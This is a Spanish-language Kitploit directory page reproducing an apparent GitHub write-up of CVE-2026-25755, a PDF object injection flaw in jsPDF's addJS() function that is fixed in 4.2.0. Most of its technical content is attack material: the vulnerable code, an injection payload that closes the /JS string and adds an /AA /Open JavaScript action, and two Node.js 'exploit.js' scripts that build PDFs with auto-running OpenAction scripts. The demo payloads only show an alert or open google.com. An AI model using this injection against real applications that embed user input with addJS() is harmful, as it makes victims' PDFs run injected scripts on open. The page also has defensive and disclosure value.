Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
jsPDF-Object-Injection — CVE-2026-25755 Una vulnerabilidad crítica de inyección de objetos PDF en jsPDF permite a los atacantes inyectar objetos PDF arbitrarios a través de la función addJS(), lo que posibilita la evasión del sandbox de AcroJS y la ejecución automática de scripts al abrir los PDF. | Kitploit
Herramientas/GitHubGitHub/absholi7ly/jspdf-object-injection
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebDesarrollo de Payloads
GitHubabsholi7ly/jspdf-object-injection

jsPDF-Object-Injection

CVE-2026-25755 Una vulnerabilidad crítica de inyección de objetos PDF en jsPDF permite a los atacantes inyectar objetos PDF arbitrarios a través de la función addJS(), lo que posibilita la evasión del sandbox de AcroJS y la ejecución automática de scripts al abrir los PDF.

Ver Repositorio
hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-25755 Bypass de Sandbox en jsPDF por Inyección de Objetos

Resumen

Se descubrió una vulnerabilidad crítica de Inyección de Objetos PDF (CVE-2026-25755) en jsPDF, una biblioteca JavaScript ampliamente utilizada para generar documentos PDF en aplicaciones de cliente. La vulnerabilidad existe en la función addJS(), que permite a los atacantes inyectar objetos PDF arbitrarios y eludir las restricciones de la sandbox de AcroJS mediante una sanitización inadecuada de la entrada.


Causa raíz

La función addJS() en jsPDF permite a los desarrolladores incrustar código JavaScript dentro de los archivos PDF generados. Sin embargo, antes de la versión 4.2.0, la función no sanitizaba correctamente la entrada del usuario que contenía caracteres especiales de sintaxis PDF.

Código vulnerable (anterior a 4.2.0)

root@kitploit:~
function addJS(javascript) {
    this.internal.write("/JS (" + javascript + ")");
}

El vector de inyección

La función concatena directamente la entrada del usuario en los flujos de objetos PDF sin escapar:

  • Paréntesis de apertura (
  • Paréntesis de cierre )
  • Barra invertida \

Esto permite a los atacantes cerrar prematuramente el contexto de la cadena JavaScript e inyectar objetos PDF arbitrarios.

Estructura de JavaScript en PDF

root@kitploit:~
/JS (app.alert('Hello World'))

Payload de inyección

root@kitploit:~
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";

Flujo de objetos PDF

root@kitploit:~
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
     ↑
     Punto de inyección - contexto de cadena escapado

Mecanismo de inyección

PasoAcciónResultado
1) cierra la cadena /JS originalContexto de cadena terminado
2>> cierra el objeto PDF actualEstructura del objeto rota
3/AA << /Open << ...Nuevo diccionario de acción inyectado
4Se añaden objetos PDF arbitrariosInyección completa de objetos lograda

Código PoC (Node.js)

Crea un archivo llamado exploit.js y escribe lo siguiente en él

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000092 00000 n 
0000000275 00000 n 
0000000352 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);

Payload

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000089 00000 n 
0000000172 00000 n 
0000000249 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);
root@kitploit:~
Ejecuta node exploit.js

Resultado: El archivo exploit.pdf se creó en la misma carpeta.

Descargar herramienta